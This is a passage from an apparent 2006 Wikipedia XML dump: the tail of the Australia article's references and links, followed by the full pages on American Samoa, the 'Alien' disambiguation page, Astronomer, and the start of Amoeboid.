#{{note|wind2001}} Windschuttle, K. (2001). ''[http://www.newcriterion.com/archive/20/sept01/keith.htm# The Fabrication of Aboriginal History]'', The New Criterion Vol. 20, No. 1, September 20.
#{{note|smh2002}} Sheehan, P. (2002). ''[http://www.smh.com.au/articles/2002/11/24/1037697982065.html Our history, not rewritten but put right]'', The Sydney Morning Herald, November 25.
#{{note|Bean1941}}Bean, C. Ed. (1941). [http://www.awm.gov.au/histories/ww1/1/index.asp Volume I - The Story of Anzac: the first phase], First World War Official Histories 11th Edition.
#{{note|AEC}}Australian Electoral Commission (2000). [http://www.aec.gov.au/_content/when/referendums/1999_report/index.htm 1999 Referendum Reports and Statistics]
#{{note|PL1997}}Parliamentary Library (1997). [http://www.aph.gov.au/library/pubs/rn/1997-98/98rn25.htm The Reserve Powers of the Governor-General]
#{{note|AGov2005}}{{note_label|AGov2005|8|a}}Australian Government. (2005). [http://www.budget.gov.au/ Budget 2005-2006]
#{{note|DEH}}Department of the Environment and Heritage. [http://www.deh.gov.au/biodiversity/about-biodiversity.html About Biodiversity]
#{{note|Macfarlane1998}}Macfarlane, I. J. (1998). [http://www.rba.gov.au/PublicationsAndResearch/Bulletin/bu_oct98/bu_1098_2.pdf Australian Monetary Policy in the Last Quarter of the Twentieth Century]. ''Reserve Bank of Australia Bulletin'', October
#{{note|Parham2002}}Parham, D. (2002). [http://www.pc.gov.au/research/confproc/mrrag/mrrag.pdf Microeconomic reforms and the revival in Australia’s growth in productivity and living standards]. ''Conference of Economists'', Adelaide, [[1 October]]
#{{note|ABS6202}} Australian Bureau of Statistics. Labour Force Australia. Cat#6202
#{{note|ABS2005}}{{note_label|ABS2005|13|a}}{{note_label|ABS2005|13|b}}{{note_label|ABS2005|13|c}}{{note_label|ABS2005|13|d}}Australian Bureau of Statistics. [http://www.abs.gov.au/ausstats/abs@.nsf/94713ad445ff1425ca25682000192af2/1a79e7ae231704f8ca256f720082feb9!OpenDocument Year Book Australia 2005]
#{{note|DFAT}} Department of Foreign Affairs and Trade (2003). ''Advancing the National Interest'', [http://www.dfat.gov.au/ani/appendix_one.pdf Appenidix 1]
#{{note|ABS}} Australian Bureau of Statistics, [http://www.abs.gov.au/Ausstats/abs@.nsf/0/68180154bf128d91ca2569d000164365?OpenDocument Population Growth - Australia’s Population Growth]
#{{note|DIMIA}}Department of Immigration, Multicultural and Indigenous Affiars. (2005). [http://www.immi.gov.au/facts/06evolution.htm The Evolution of Australia's Multicultural Policy]&lt;br&gt;
#{{note|ABS2001|}}Australian Bureau of Statistics. 2001 Census, [http://www.abs.gov.au/ausstats/abs@census.nsf/ddc9b4f92657325cca256c3e000bdbaf/7dd97c937216e32fca256bbe008371f0!OpenDocument A Snapshot of Australia]
#{{note|PoA2005}}Parliament of Australia, Senate (2005). [http://www.aph.gov.au/Senate/committee/legcon_ctte/expats03/ Inquiry into Australian Expatriates]
#{{note|DIMIA2}}Department of Immigration, Multicultural and Indigenous Affiars. (1995). [http://www.immi.gov.au/multicultural/_inc/publications/confer/04/speech18b.htm Pluralist Nations: Pluralist Language Policies?]
#{{note|NCLSattsurvey}} [http://www.ncls.org.au/default.aspx?docid=2250&amp;track=82083 NCLS releases latest estimates of church attendance], National Church Life Survey, Media release, [[28 February]] [[2004]]
#{{note|AFC}}Australian Film Commission. What are Australians Watching?, [http://www.afc.gov.au/gtp/freetv.html Free-to-Air, 1999-2004 TV]


&lt;/div&gt;

== External links ==
{{portal}}
{{Spoken Wikipedia-2|2006-01-17|AustraliaPart1.ogg|AustraliaPart2.ogg|}}
{{sisterlinks|Australia}}

*[http://wikitravel.org/en/Australia Wikitravel guide to Australia]
*[http://www.gov.au/ Australian Government Entry Portal]
*[http://www.australia.gov.au/ Commonwealth Government Online]
*[http://www.immi.gov.au/ Department of Immigration and Multicultural and Indigenous Affairs (DIMIA)]
*[http://www.dfat.gov.au/geo/australia/index.html Department of Foreign Affairs and Trade (DFAT): Country Information]
*[http://maps.google.com/maps?ll=-27.000000,133.000000&amp;spn=38.871300,61.703613&amp;t=h&amp;hl=en Satellite images of Australia] (Google Maps)
*[http://www.nla.gov.au/ National Library of Australia]
*[http://www.nma.gov.au/ National Museum of Australia]
*[http://www.australia.com/ Official Australia Tourism Website]
*[http://www.bom.gov.au/ Bureau of Meteorology]
*[http://www.m2006.com.au/ Official website of the Melbourne 2006 Commonwealth Games]
{{Continent}}
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[[ceb:Australia]]
[[cs:Austrálie]]
[[cy:Awstralia]]
[[da:Australien]]
[[de:Australien]]
[[et:Austraalia]]
[[el:Αυστραλία]]
[[es:Australia]]
[[eo:Aŭstralio]]
[[fa:استرالیا]]
[[fr:Australie]]
[[ga:An Astráil]]
[[gl:Australia]]
[[hr:Australija]]
[[ko:오스트레일리아]]
[[hi:ऑस्ट्रेलिया]]
[[io:Australia]]
[[id:Australia]]
[[ia:Australia]]
[[is:Ástralía]]
[[it:Australia]]
[[he:אוסטרליה]]
[[kw:Ostrali]]
[[la:Australia]]
[[lv:Austrālija (valsts)]]
[[lt:Australija]]
[[lb:Australien]]
[[li:Australië]]
[[hu:Ausztrália]]
[[mi:Ahitereiria]]
[[ms:Australia]]
[[na:Otereiriya]]
[[nl:Australië (land)]]
[[nds:Australien]]
[[ja:オーストラリア]]
[[ko:호주]]
[[no:Australia]]
[[nn:Australia]]
[[pl:Australia]]
[[pt:Austrália]]
[[ro:Australia]]
[[ru:Австралия]]
[[scn:Australia]]
[[simple:Australia]]
[[sk:Austrália (štát)]]
[[sl:Avstralija]]
[[sr:Аустралија]]
[[fi:Australia]]
[[sv:Australien]]
[[ta:ஆஸ்திரேலியா]]
[[tl:Australia]]
[[th:ประเทศออสเตรเลีย]]
[[vi:Úc]]
[[tpi:Ostrelia]]
[[tr:Avustralya]]
[[uk:Австралія (країна)]]
[[yi:אױסטראַליע]]
[[zh:澳大利亚]]</text>
    </revision>
  </page>
  <page>
    <title>American Samoa</title>
    <id>578</id>
    <revision>
      <id>41583091</id>
      <timestamp>2006-02-28T08:03:44Z</timestamp>
      <contributor>
        <username>DopefishJustin</username>
        <id>5399</id>
      </contributor>
      <comment>/* External links */ make link prettier</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ &lt;big&gt;'''Amerika Samoa&lt;br&gt;American Samoa'''&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of American Samoa.svg|125px|Flag of American Samoa]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:American samoa coa.png|80px|American Samoa COA]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of American Samoa|Flag]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Coat of Arms of American Samoa|Coat of Arms]])
|}
|-
| align=center style=&quot;vertical-align: top;&quot; colspan=2 | &lt;small&gt;''National [[motto]]: Samoa, Muamua Le Atua (Samoa, Let God Be First)''&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background: #ffffff;&quot; | [[Image:LocationAmericanSamoa.png]]
|-
| '''[[Official languages]]'''
| [[Samoan language|Samoan]], [[English language|English]]
|-
| '''[[Capital]]''' || [[Fagatogo]] (constitutional and ''de facto'' seat of government); executive offices are located in [[Utulei]]
|-
| '''[[Governor of American Samoa|Governor]]'''
| [[Togiola Tulafono]]
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 226th]] &lt;br /&gt; [[1 E8 m²|199 km²]] (76.8&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]) &lt;br /&gt; 0%               
|-
| '''[[Population]]'''
&lt;br /&gt;&amp;nbsp;- Total ([[2003]]) 
&lt;br /&gt;&amp;nbsp;- [[Density]]                  
| [[List of countries by population|Ranked 203rd]]
&lt;br /&gt; 70,260
&lt;br /&gt; 353/km² (914/sq.&amp;nbsp;mi)
|-
| '''[[Currency]]''' || [[United States dollar|USD]]
|-
| '''[[Time zone]]''' || [[Coordinated Universal Time|UTC]] -11 (no DST)
|-
| '''[[National anthem]]''' || [[Amerika Samoa]]
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.as]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| +1 684
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Fatu Rock.jpg|right|300px]]Fatu Rock (right) and Futi Rock (left), islets on the reef of Tutuila at the entrance to Pago Pago Harbor (seen behind Fatu).
|}
'''American Samoa''' ([[Samoan language|Samoan]]: '''Amerika Samoa''') is an [[unorganized territory|unorganized]], [[incorporated territory|unincorporated territory]] of the [[United States]] located in the South [[Pacific Ocean]] southeast of the sovereign state of [[Samoa]].  The main (largest and most populous) island is [[Tutuila]], with the {{Unicode|[[Manua|Manu'a]]}} Islands, [[Rose Atoll]], and [[Swains Island]] also included in the territory. American Samoa is part of the Samoan Islands chain, located west of the [[Cook Islands]], north of [[Tonga]], and some 300 [[mile]]s (500 km) south of [[Tokelau]]. To the west are the islands of the [[Wallis and Futuna]] group.

==History==
''Main article: [[History of Samoa]], [[History of American Samoa]]''

Originally inhabited as early as [[1000 BC]], Samoa was not reached by [[Europe]]an explorers until the [[18th century]].

International rivalries in the latter half of the [[19th century]] were settled by an [[1899]] [[Treaty of Berlin, 1899|Treaty of Berlin]] in which [[Germany]] and the U.S. divided the Samoan [[archipelago]]. The U.S. formally occupied its portion—a smaller group of eastern islands with the noted harbor of [[Pago Pago, American Samoa|Pago Pago]]—the following year. The western islands are now the independent state of [[Samoa]]. 

After the U.S. took possession of American Samoa, the [[United States Navy|U.S. Navy]] built a [[coal|coaling]] station on Pago Pago Bay for its Pacific Squadron and appointed a local Secretary. The navy secured a Deed of Cession of Tutuila in [[1900]] and a Deed of Cession of {{Unicode|[[Manua|Manuʻa]]}} in [[1904]]. The last sovereign of {{Unicode|Manuʻa}}, the {{Unicode|[[Tui Manua Elisala|Tui Manuʻa Elisala]]}}, was forced to sign a Deed of Cession of {{Unicode|Manuʻa}} following a series of US Naval trials, known as the &quot;Trial of the Ipu&quot;, in Pago Pago, {{Unicode|Taʻu}}, and aboard a Pacific Squadron gunboat.

During [[World War II]], U.S. Marines in American Samoa outnumbered the local population, having a huge cultural influence. After the war, Organic Act 4500, a U.S. [[United States Department of the Interior|Department of Interior]]-sponsored attempt to incorporate American Samoa, was defeated in Congress, primarily through the efforts of American Samoan chiefs, led by [[Tuiasosopo Mariota]].  These chiefs' efforts led to the creation of a local legislature, the American Samoa ''Fono,'' which meets in the village of [[Fagatogo]], the territory's ''de facto'' and ''de jure'' capital.  (See the Trivia section below for more information on Fagatogo.)

In time, the Navy-appointed governor was replaced by a locally elected one.  Although technically considered &quot;unorganized&quot; in that the [[Congress of the United States|U.S. Congress]] has not passed an [[Organic Act]] for the territory, American Samoa is self-governing under a constitution that became effective on [[July 1]], [[1967]].  The U.S. Territory of American Samoa is on the [[United Nations list of Non-Self-Governing Territories]], a listing which is disputed by territorial government officials.

==Administrative Divisions==
American Samoa is administratively divided into 3 [[district]]s and 2 &quot;unorganized&quot; islands. These districts are subdivided into 73 villages. 
Districts:
* Eastern 
* Western 
* Manu'a 

Unorganized Islands:
*[[Rose Atoll|Rose Island]]
*[[Swains Island|Swains Island]]
[[Image:American Samoa Districts.png|thumb|left|400px|Map of the districts of American Samoa]]
&lt;br clear=&quot;left&quot;&gt;
The villages for Eastern and Western districts are:
&lt;table border=0&gt;&lt;tr valign=top&gt;
&lt;td&gt;
&lt;ol&gt;
&lt;li&gt;[[Aasu|Aasu]]
&lt;li&gt;[[Afao|Afao]]
&lt;li&gt;[[Afono|Afono]]
&lt;li&gt;[[Agugulu|Agugulu]]
&lt;li&gt;[[Alao|Alao]]
&lt;li&gt;[[Alofau|Alofau]]
&lt;li&gt;[[Aloga|Aloga]]
&lt;li&gt;[[Amaluia|Amaluia]]
&lt;li&gt;[[Amanave|Amanave]]
&lt;li&gt;[[Amaua|Amaua]]
&lt;li&gt;[[Amouli|Amouli]]
&lt;li&gt;[[Anua|Anua]]
&lt;li&gt;[[Aoa|Aoa]]
&lt;li&gt;[[Aoloau|Aoloau]]
&lt;li&gt;[[Asili|Asili]]
&lt;li&gt;[[Atu'u|Atu'u]]
&lt;li&gt;[[Aua|Aua]]
&lt;li&gt;[[Auasi|Auasi]]
&lt;li&gt;[[Aumi|Aumi]]
&lt;li&gt;[[Aunu'u|Aunu'u]]
&lt;li&gt;[[Auto, American Samoa|Auto]]
&lt;li&gt;[[Avaio|Avaio]]
&lt;li&gt;[[Faga'alu|Faga'alu]]
&lt;li&gt;[[Faga'itau|Faga'itau]]
&lt;li&gt;[[Fagaili'i|Fagaili'i]]
&lt;li&gt;[[Fagamalo|Fagamalo]]
&lt;li&gt;[[Faganeanea|Faganeanea]]
&lt;li&gt;[[Fagasa|Fagasa]]
&lt;li&gt;[[Fagatogo|Fagatogo]]
&lt;li&gt;[[Failolo|Failolo]]
&lt;li&gt;[[Falenin|Falenin]]
&lt;li&gt;[[Fatumafuti|Fatumafuti]]
&lt;/ol&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;ol start=33&gt;
&lt;li&gt;[[Futiga|Futiga]]
&lt;li&gt;[[Ili'ili|Ili'ili]]
&lt;li&gt;[[Leloaloa|Leloaloa]]
&lt;li&gt;[[Leone, American Samoa|Leone]]
&lt;li&gt;[[Leuli'i|Leuli'i]]
&lt;li&gt;[[Malaeimi|Malaeimi]]
&lt;li&gt;[[Malaeloa/Aitulagi|Malaeloa/Aitulagi]]
&lt;li&gt;[[Malaeloa/Ituau|Malaeloa/Ituau]]
&lt;li&gt;[[Maloata|Maloata]]
&lt;li&gt;[[Mapusagafou|Mapusagafou]]
&lt;li&gt;[[Masausi|Masausi]]
&lt;li&gt;[[Masefau|Masefau]]
&lt;li&gt;[[Matu'u|Matu'u]]
&lt;li&gt;[[Mesepa|Mesespa]]
&lt;li&gt;[[Nu'uuli|Nu'uuli]]
&lt;li&gt;[[Nua|Nua]]
&lt;li&gt;[[Onenoa|Onenoa]]
&lt;li&gt;[[Pago Pago|Pago Pago]]
&lt;li&gt;[[Pava'ia'i|Pava'ia'i]]
&lt;li&gt;[[Poloa|Poloa]]
&lt;li&gt;[[Sa'ilele|Sa'ilele]]
&lt;li&gt;[[Se'etaga|Se'etaga]]
&lt;li&gt;[[Tafuna|Tafuna]]
&lt;li&gt;[[Taputimu|Taputimu]]
&lt;li&gt;[[Tula, American Samoa|Tula]]
&lt;li&gt;[[Utulei|Utulei]]
&lt;li&gt;[[Utumea East|Utumea East]]
&lt;li&gt;[[Utumea West|Utumea West]]
&lt;li&gt;[[Vailoatai|Vailoatai]]
&lt;li&gt;[[Vaitogi|Vaitogi]]
&lt;li&gt;[[Vatia|Vatia]]
&lt;/ol&gt;
&lt;/td&gt;
&lt;td&gt;
[[Image:American Samoa Counties1.png|thumb|400px|Map of the villages of American Samoa]]
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
[[Image:American Samoa Counties2.png|thumb|right|300px|Map of the villages of the Manu{{okina}}a districts and Swain's Atoll]]
The villages for the [[Manu'a]] district are:

#[[Faleasao|Faleasao]]
#[[Leusoali'i|Leusoali'i]]
#[[Luma, American Samoa|Luma]]
#[[Maia, American SAmoa|Maia]]
#[[Ofu|Ofu]]
#[[Olosega|Olosega]]
#[[Si'ufaga|Si'ufaga]]
#[[Sili|Sili]]

There is one village on Swains Island. Rose Island is an uninhabited wildlife refuge.

==Trivia==
* American Samoa is the location of [[Rose Atoll]], the southernmost point in the United States (if [[insular area]]s and territories are included); see [[Extreme Points of the United States|extreme points]] for more information).
* About 30 ethnic Samoans, many from American Samoa, currently play in the [[National Football League]]. A 2002 article from [http://espn.go.com/gen/s/2002/0527/1387626.html ESPN] estimated that a Samoan male (either an American Samoan, or a Samoan living in the 50 United States) is 40 times more likely to play in the NFL than a non-Samoan American. A number have also ventured into professional wrestling (see especially [[:Category:Anoai wrestling family|Anoai wrestling family]]).
* Persons born in American Samoa are United States [[nationality|national]]s, but not United States [[citizen]]s. This is the only circumstance under which an individual would be one and not the other.
* The [[American Samoa national soccer team]] holds an unwanted world record in international [[football (soccer)|soccer]]—the record defeat in an international match, a 31-0 crushing by [[Australia national football team|Australia]] on [[April 11]], [[2001]].
* Although many respected reference sources list the neighboring village of [[Pago Pago]] as the capital, [[Fagatogo]] is the ''de facto'' and ''de jure'' (i.e., constitutionally designated; cf. Article 5, Section 9) seat of government.  Additionally, the governor's office is located in the village of Utulei, located on the opposite side of Fagatogo from Pago Pago.  The reason why many sources list Pago Pago is because the name Pago Pago, the most popular port of call in American Samoa, has become associated with the harbor itself; thus Pago Pago is now generally applied to the harbor area and the capital.  However, both the port itself and the legislature of American Samoa—known as the Fono—are located in Fagatogo, a village that is adjacent to (and for all practical purposes indistinguishable from) Pago Pago.  (Cf. Wikipedia entry for [[Pago Pago]].)
*In March of 1889, a [[Germany|German]] naval force shelled a village in [[Samoa]], and by doing so destroyed some [[United States|American]] property. Three American warships then entered the [[Samoan]] harbor and were prepared to fire on the three German warships found there. Before guns were fired, a hurricane blew up and sank all the ships, American and German. A compulsory [[armistice]] was called because of the lack of warships.

==See also==
[[Aloha Council#Scouting in American Samoa|Scouting in American Samoa]] 

===Government===
* [[List of American Samoa Governors]]
* [[Elections in American Samoa]]

===Sports===
* [[American Samoa at the 2000 Summer Olympics]]
* [[American Samoa national rugby league team]]
* [[American Samoa national soccer team]]

===CIA Factbook Data===
''From the [[CIA World Factbook]] 2000:''
* [[Geography of American Samoa]]
* [[Demographics of American Samoa]]
* [[Politics of American Samoa]]
* [[Economy of American Samoa]]
* [[Communications in American Samoa]]
* [[Transportation in American Samoa]]
* [[Military of the United States|Military: Defense is the responsibility of the US]]

==External links==
{{wikinewscat|American Samoa|American Samoa}}
* [http://www.cia.gov/cia/publications/factbook/geos/aq.html CIA - The World Factbook -- American Samoa] - [[CIA]]'s Factbook on American Samoa
* [http://www.nebraskapress.unl.edu/bookinfo/4883.html &quot;The Passive Resistance of Samoans to US and Other Colonialisms&quot;], article in &quot;Sovereignty Matters&quot;, ed. Joanne Barker, University of Nebraska Press, 2005.
*[http://www.historyofnations.net/oceania/americansamoa.html History of American Samoa]- Essay which looks at the history of the territory from ancient to more modern times. 
*[http://www.janeresture.com/amsam/index.htm Jane's American Samoa Page]
*[http://www.loc.gov/rr/international/asian/americansamoa/americansamoa.html Library of Congress Portals of the World - American Samoa] - Library of Congress resource which provides links to resources on American Samoa.
* [http://www.mapsouthpacific.com/american_samoa/index.html Map of American Samoa] - Map showing the basic layout of American Samoa.
* [http://www.asbar.org/Newcode/rcas.htm Revised Constitution of American Samoa] - Provides the text of the constition of American Samoa.
*[http://www.asg-gov.net/ The Official Webpage of the American Samoa Government] - Lists information on the territorial government including officials and recent legislation.
* [http://www.un.org/Depts/dpi/decolonization/docs.htm United Nations Decolonization Papers] - Online United Nations Decolonization Documents including current and past Working Papers on American Samoa
* [http://www.choohoo.com/ ChooHoo!] - An online community for Samoans. Features include forums, chat, blogs, etc.
*[http://www.rulers.org/rula1.html#american_samoa Rulers.org — American_samoa] List of rulers for American Samoa

{{American Samoa}}
{{Pacific Islands}}
{{Polynesia}}
{{United States}}

[[Category:American Samoa|*]]
[[Category:Insular areas of the United States]]
[[Category:Oceanic dependencies]]

[[zh-min-nan:Bí-kok Samoa]]
[[ca:Samoa Nord-americana]]
[[da:Amerikansk Samoa]]
[[de:Amerikanisch-Samoa]]
[[et:Ameerika Samoa]]
[[es:Samoa Americana]]
[[eo:Usona Samoo]]
[[fr:Samoa américaines]]
[[ko:아메리칸사모아]]
[[id:Samoa Amerika]]
[[is:Bandaríska Samóa]]
[[it:Samoa Americane]]
[[he:סמואה האמריקנית]]
[[lv:Austrumsamoa]]
[[lt:Amerikos Samoa]]
[[hu:Amerikai Szamoa]]
[[mk:Американска Самоа]]
[[ms:Samoa Amerika]]
[[nl:Amerikaans-Samoa]]
[[ja:アメリカ領サモア]]
[[no:Amerikansk Samoa]]
[[nn:Amerikansk Samoa]]
[[pl:Samoa Amerykańskie]]
[[pt:Samoa Americana]]
[[ru:Американское Самоа]]
[[sm:Amerika Samoa]]
[[simple:American Samoa]]
[[sk:Americká Samoa]]
[[sl:Ameriška Samoa]]
[[fi:Amerikan Samoa]]
[[sv:Amerikanska Samoa]]
[[tr:Amerikan Samoası]]
[[uk:Американське Самоа]]
[[zh:美屬薩摩亞]]</text>
    </revision>
  </page>
  <page>
    <title>Alien</title>
    <id>579</id>
    <revision>
      <id>41942092</id>
      <timestamp>2006-03-02T19:59:23Z</timestamp>
      <contributor>
        <username>Lucian Gregory</username>
        <id>1008143</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|alien}}
'''Alien''' or '''Aliens''' may mean:
* [[Extraterrestrial life]], in scientific context
* [[Extraterrestrial life in culture]]
* [[Alien (film)|''Alien'' (film)]] (1979), by Ridley Scott
* [[Aliens (1986 film)|''Aliens'' (1986 film)]], the sequel to the above film
* [[xenomorph]], the alien creatures from the ''Alien'' movies
* [[Aliens (comic)]], a group of comic book series
* [[Alien (biology)]], a non-native species
* [[Alien (computing)]], a program that converts between different Linux package distribution file formats
* [[Alien (law)]], a person who is neither a native nor a citizen of their country of residence
* [[Alien (signifier)]], use in literature and criticism as the embodiment of an outside perspective or the sense of the other
* [[The Aliens]], Roky Erickson's backing band
* [[Alien (game)]], a 1982 DOS text adventure

{{disambig}}

[[de:Alien]]
[[es:Alien]]
[[fr:Alien]]
[[ja:宇宙人]]
[[nl:Buitenaards wezen]]
[[pl:obcy]]
[[pt:Alienígena]]
[[fi:Alien]]
[[zh:外星人]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomer</title>
    <id>580</id>
    <revision>
      <id>42138169</id>
      <timestamp>2006-03-04T01:52:54Z</timestamp>
      <contributor>
        <username>Mozasaur</username>
        <id>475997</id>
      </contributor>
      <minor />
      <comment>terminology, astronomers are people, not all astronomers do research.</comment>
      <text xml:space="preserve">An '''astronomer''' or '''astrophysicist''' is a person whose area of interest is [[astronomy]] or [[astrophysics]].
[[Image:Johannes Helvelius.jpg|right|thumb|180px|[[Johannes Hevelius]] was famed for his work on [[sunspot]]s, and being the first to study the surface of the [[moon]].]]

Astronomy is generally thought to have begun in [[ancient history|ancient]] [[Babylon]] by the [[Persian Empire|Persian]] [[Zoroastrian]] priests (the ''[[magi]]''). Recent studies of Babylonian records have shown them to be extremely accurate for the ancient night sky. Following the Babylonians, the [[Egypt]]ians also had an emphasis on observations of the sky.

Mixtures of religious interpretations of the sky and the development of complex models for applying these interpretations, led to a [[duality]] that we now identify as [[astrology]]. It is important to recognize that before about [[1750]], there was no distinction between [[astrology]] and [[astronomy]].

Astronomers, unlike most scientists, cannot interact with the objects that they study. They instead must resort to detailed [[observation]] in order to make discoveries. Generally, astronomers use [[telescope|telescopes]] or other imaging equipment to make such observations. The job itself is involved with travel to remote locations to study as well.

== Famous astronomers ==
{| border
|-
!Astronomer
!Contribution
|-
|-
|[[Hipparchus (astronomer)|Hipparchus]] and [[Ptolemy]] 
|Determined the positions of about 1,000 bright stars, tried to explain the puzzles of astronomy without refuting only believed geocentric model of universe and classified stars by [[Apparent magnitude|magnitude]].

|-
|[[Aristarchus of Samos]] 
|First known person to propound the [[Heliocentrism|heliocentric model]] of universe
|-
|[[Nasir al-Din al-Tusi]]
|This Persian astronomer gave the first extant exposition of the whole system of plane and spherical [[trigonometry]]. Made very accurate tables of [[planetary]] movements and named many [[star]]s. His planetary system was the most advanced of his period and was used extensively until the development of the [[heliocentric]] model. [[Tusi-couple]] resolves linear motion into the sum of two circular motions. He also calculated the value of 51' for the [[precession]] of the [[equinoxes]] and contributed to construction and usage of [[astrolabe]].
|-
|[[copernicus|Nicolaus Copernicus]]
|Was influential in reintroducing the concept of Heliocentrism in modern times.
|-
|[[Tycho Brahe]]
|Did develop many important astronomical instruments, and was the first to do accurate repeatable measurments of the heavens. The measurements of the orbit of Mars were very important to the development of astronomy.
|-
|[[Johannes Kepler]] 
|Suggested the [[Kepler's Laws of Planetary Motion|elliptical orbits]] of planets, and propounded his ''[[Kepler's Laws of Planetary Motion|Laws of Planetary Motion]]''.
|-
|[[Galileo Galilei]]
|Was the first to use the [[telescope]] to observe the sky.  Condemned to house arrest for his discoveries by [[Inquisition|Inquisitional]] edict, which was lifted 359 years later by [[Pope John Paul II]].
|-
|[[Isaac Newton]] 
|Published ''Philosophiae Naturalis Principia Mathematica'' ([[1687]]), containing the &quot;[[Newton's laws of motion]]&quot;, which are fundamental to mechanical physics, and which explained Kepler's laws of planetary motion.  Predicted the orbits of the [[Planet|planets]].
|-
|[[Subrahmanyan Chandrasekhar]]
|Extensive work on the internal mechanisms of stars, particularly known for determining the effect of [[special relativity]] on stars, including being the first to calculate the [[Chandrasekhar limit]], which he did, without a calculator, on a boat journey.
|-
|[[Henrietta Swan Leavitt]]
|Catalogued [[Cepheid variable]] stars in the [[Magellanic Clouds]], in [[1912]] discovered the relationship between luminosty and periodicity in Cepheids -- leading to [[Ejnar Hertzsprung|Hertzprung]]'s later work.
|-
|[[Ejnar Hertzsprung]]
|determined the distance to several [[Cepheid variable|Cepheids]], when Cepheids were detected in other [[galaxy|galaxies]] such as the [[Andromeda galaxy]], the distance to those galaxies could then be determined.
|-
|[[Edwin Hubble]]
|Discovered the expansion of the universe. ([[Hubble's Law]])  [[Hubble Space Telescope|The Hubble Orbiting Space Telescope]] was named in his honor.
|}

== See also ==
* [[Amateur astronomy]]
* [[List of astronomers]]

----

There is also a well-known painting by [[Johannes Vermeer]] titled ''The Astronomer'', which is often linked to Vermeer's ''The [[Geographer]]''. These paintings are both thought to represent the growing influence and rise in prominence of scientific inquiry in [[Europe]] at the time of their painting, [[1668]]-[[1669|69]].

----

[[Category:Astronomers| ]]
[[Category:Science occupations]]

[[als:Astronom]]
[[bg:Астроном]]
[[da:Astronom]]
[[de:Astronom]]
[[eo:Astronomo]]
[[ko:천문학자]]
[[it:Astronomo]]
[[hu:Csillagász]]
[[nl:Astronoom]]
[[ja:天文学者]]
[[no:Astronom]]
[[nn:Astronom]]
[[pl:Astronom]]
[[simple:Astronomer]]
[[sk:Astronóm]]
[[sl:Astronom]]
[[fi:Tähtitieteilijä]]
[[th:นักดาราศาสตร์]]
[[zh:天文学家]]</text>
    </revision>
  </page>
  <page>
    <title>Ameboid stage</title>
    <id>583</id>
    <revision>
      <id>15899114</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Amoeboid]]
</text>
    </revision>
  </page>
  <page>
    <title>Amoeboid</title>
    <id>584</id>
    <revision>
      <id>40444702</id>
      <timestamp>2006-02-20T16:26:57Z</timestamp>
      <contributor>
        <username>BinaryTed</username>
        <id>709141</id>
      </contributor>
      <comment>Revert to revision 36472982 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Chaos diffluens.jpg|thumb|Amoeba (''Chaos diffluens'')]]
[[Image:live_Ammonia_tepida.jpg|thumb|Foraminiferan (''Ammonia tepida'')]]
[[Image:Actinophrys sol.jpg|thumb|Heliozoan (''Actinophrys sol'')]]
'''Amoeboids''' are [[cell (biology)|cell]]s that move or feed by means of temporary projections, called [[pseudopod]]s (false feet).  They have appeared in a number of different groups.  Some cells in multicellular animals may be amoeboid, for instance our [[white blood cell]]s, which consume pathogens.  Many [[protist]]s exist as individual amoeboid cells, or take such a form at some point in their life-cycle.  The most famous such organism is ''[[Amoeba|Amoeba proteus]]''; the name amoebae is variously used to describe its close relatives, other organisms similar to it, or the amoeboids in general.

Amoeboids may be divided into several morphological categories based on the form and structure of the pseudopods.  Those where the pseudopods are supported by regular arrays of [[microtubule]]s are called actinopods, and forms where they are not are called rhizopods, further divided into lobse, filose, and reticulose amoebae.  There is also a strange group of giant marine amoeboids, the [[xenophyophore]]s, that do not fall into any of these categories.

* Lobose pseudopods are blunt, and there may be one or several on a cell, which is usually divided into a layer of clear ectoplasm surrounding more granular endoplasm.  Most, including ''Amoeba'' itself, move by the body mass flowing into an anterior pseudopod.  The vast majority form a monophyletic group called the [[Amoebozoa]], which also includes most [[slime mould]]s.  A second group, the [[Percolozoa]], includes protists that can transform between amoeboid and [[flagellate]] forms.

* Filose pseudopods are narrow and tapering.  The vast majority of filose amoebae, including all those that produce shells, are placed within the [[Cercozoa]] together with various flagellates that tend to have amoeboid forms.  The naked filose amoebae comprise two other groups, the [[vampyrellid]]s and [[nucleariid]]s.  The latter appear to be close relatives of [[animal]]s and [[fungus|fungi]].

* Reticulose pseudopods are cytoplasmic strands that branch and merge to form a net.  They are found most notably among the [[Foraminifera]], a large group of marine protists that generally produce multi-chambered shells.  There are only a few sorts of naked reticulose amoeboids, notably the [[gymnophryid]]s, and their relationships are not certain.

* Actinopods are divided into the [[radiolaria]] and [[heliozoa]].  The radiolaria are mostly marine protists with complex internal skeletons, including central capsules that divide the cells into granular endoplasm and frothy ectoplasm that keeps them buoyant.  The heliozoa include both freshwater and marine forms that use their axopods to capture small prey, and only have simple scales or spines for skeletal elements.  Both groups appear to be [[polyphyletic]].

